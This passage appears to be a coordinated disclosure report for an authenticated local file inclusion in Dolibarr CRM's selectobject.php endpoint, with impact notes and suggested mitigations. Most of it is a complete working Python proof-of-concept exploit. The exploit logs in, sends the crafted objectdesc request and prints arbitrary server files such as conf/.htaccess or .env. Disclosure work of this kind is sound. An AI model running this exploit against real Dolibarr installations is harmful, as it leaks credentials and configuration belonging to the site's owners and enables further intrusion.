GET /core/ajax/selectobject.php?outjson=0&htmlname=x&objectdesc=A:conf/.htaccess:0

• Observe the HTTP response. The contents of the conf/.htaccess file will be reflected in the response body right before the PHP Fatal Error message.
• (Optional) Run the attached Python PoC to automate the extraction:

python3 poc.py --url http://target.com --username '<username>' --password '<password>' --file conf/.htaccess

Impact

An attacker with minimal access to the CRM can exfiltrate sensitive files from the server. This can lead to the disclosure of environment variables (.env), infrastructure configurations (.htaccess), installed packages versions, or even forgotten logs and database dumps, paving the way for further attacks.

Suggested Mitigation

• Input Validation & Whitelisting: The $classpath must be strictly validated or whitelisted before being passed to dol_include_once().
• Execution Flow Correction: The file inclusion logic must never be executed before the user's authorization has been fully verified.
• Enforce Fail-Secure ACLs: Modify restrictedArea() in core/lib/security.lib.php so that if the $features parameter is empty, access is explicitly denied ($readok = 0) instead of allowed by default.

Disclosure Policy & Assistance

The reporter is committed to coordinated vulnerability disclosure. This vulnerability, along with the provided PoC, will be kept strictly confidential until a patch is released and explicit authorization for public disclosure is given.

Should any further technical details, logs, or testing of the remediation once a patch has been developed be needed, the reporter is available to assist.

Thank you for the time and commitment to securing Dolibarr.

Best Regards, Vincent KHAYAT (cnf409)

Video PoC

https://github.com/user-attachments/assets/4af80050-4329-4c88-8a54-e2b522deb844

PoC Script

#!/usr/bin/env python3
"""Dolibarr selectobject.php authenticated LFI PoC"""

import argparse
import html
import re
import urllib.error
import urllib.parse
import urllib.request
from http.cookiejar import CookieJar

LOGIN_MARKERS = ("Login @", "Identifiant @")
LOGOUT_MARKERS = ("/user/logout.php", "Logout", "Mon tableau de bord")

def request(
    opener, base_url, method, path, params=None, data=None, timeout=15
):
    url = f"{base_url.rstrip('/')}{path}"
    if params:
        url = f"{url}?{urllib.parse.urlencode(params)}"
    payload = urllib.parse.urlencode(data).encode("utf-8") if data else None
    req = urllib.request.Request(url, method=method.upper(), data=payload)
    req.add_header("User-Agent", "dolibarr-lfi-poc/1.0-securitytest-for-dolibarr")
    req.add_header("Accept", "text/html,application/xhtml+xml")
    try:
        with opener.open(req, timeout=timeout) as resp:
            return resp.status, resp.read().decode("utf-8", errors="replace")
    except urllib.error.HTTPError as err:
        return err.code, err.read().decode("utf-8", errors="replace")

def extract_login_token(page):
    for pattern in (
        r'name=["\']token["\']\s+value=["\']([^"\']*)["\']',
        r'name=["\']anti-csrf-newtoken["\']\s+content=["\']([^"\']*)["\']',
    ):
        match = re.search(pattern, page, flags=re.IGNORECASE)
        if match:
            return match.group(1)
    return ""

def looks_authenticated(body):
    return any(marker in body for marker in LOGOUT_MARKERS)

def clean_included_output(body):
    for marker in (
        "<br />\n<b>Warning",
        "<br />\r\n<b>Warning",
        "<br />\n<b>Fatal error",
        "<br />\r\n<b>Fatal error",
    ):
        pos = body.find(marker)
        if pos != -1:
            return body[:pos].rstrip()
    return body.rstrip()

def login(opener, base_url, username, password):
    code, login_page = request(opener, base_url, "GET", "/")
    if code >= 400:
        return False, f"HTTP {code} on login page"
    token = extract_login_token(login_page)
    code, after_login = request(
        opener,
        base_url,
        "POST",
        "/index.php?mainmenu=home",
        data={
            "token": token,
            "actionlogin": "login",
            "loginfunction": "loginfunction",
            "username": username,
            "password": password,
        },
    )
    if code >= 400:
        return False, f"HTTP {code} on login request"
    if looks_authenticated(after_login):
        return True, ""
    code, home = request(opener, base_url, "GET", "/index.php?mainmenu=home")
    if code < 400 and looks_authenticated(home):
        return True, ""
    return False, "Invalid username or password"

def read_file(opener, base_url, relative_path):
    status, body = request(
        opener,
        base_url,
        "GET",
        "/core/ajax/selectobject.php",
        params={
            "outjson": "0",
            "htmlname": "x",
            "objectdesc": f"A:{relative_path}:0",
        },
    )
    if any(marker in body for marker in LOGIN_MARKERS) and not looks_authenticated(body):
        raise RuntimeError("Session expired or not authenticated")
    return status, body, clean_included_output(body)

def parse_args():
    parser = argparse.ArgumentParser(
        description="Authenticated LFI PoC against /core/ajax/selectobject.php (Dolibarr 22.0.4)."
    )
    parser.add_argument(
        "--url",
        default="http://127.0.0.1:8080",
        help="Dolibarr base URL (default: http://127.0.0.1:8080)",
    )
    parser.add_argument("--username", required=True, help="Dolibarr username")
    parser.add_argument("--password", required=True, help="Dolibarr password")
    parser.add_argument(
        "--file",
        dest="target_file",
        required=True,
        help="Target file to read (e.g. conf/.htaccess).",
    )
    return parser.parse_args()

def print_result(path, status, raw, clean):
    print(f"\n[+] HTTP status: {status}")
    print(f"[+] Requested file: {path}")
    print("=" * 80)
    if clean:
        print(html.unescape(clean))
    else:
        print("(No readable output extracted)")
    print("=" * 80)
    if clean != raw.rstrip():
        print("[i] PHP warnings/fatal output were trimmed from display.")

def summarize_error_body(body, limit=1200):
    text = html.unescape(body).strip()
    if not text:
        return "(Empty response body)"
    if len(text) > limit:
        return text[:limit].rstrip() + "\n... [truncated]"
    return text

def main():
    args = parse_args()
    opener = urllib.request.build_opener(
        urllib.request.HTTPCookieProcessor(CookieJar())
    )
    ok, reason = login(opener, args.url, args.username, args.password)
    if not ok:
        print(f"[!] {reason}")
        return 1
    print("[+] Login successful.")
    try:
        status, raw, clean = read_file(opener, args.url, args.target_file)
        if status >= 400:
            print(f"[!] HTTP {status} while reading target file.")
            print("=" * 80)
            print(summarize_error_body(raw))
            print("=" * 80)
            return 1
        print_result(args.target_file, status, raw, clean)
        return 0
    except Exception as exc:
        print(f"[!] Error: {exc}")
        return 1

if __name__ == "__main__":
    try:
        raise SystemExit(main())
    except KeyboardInterrupt:
        print("\nInterrupted.")
        raise SystemExit(130)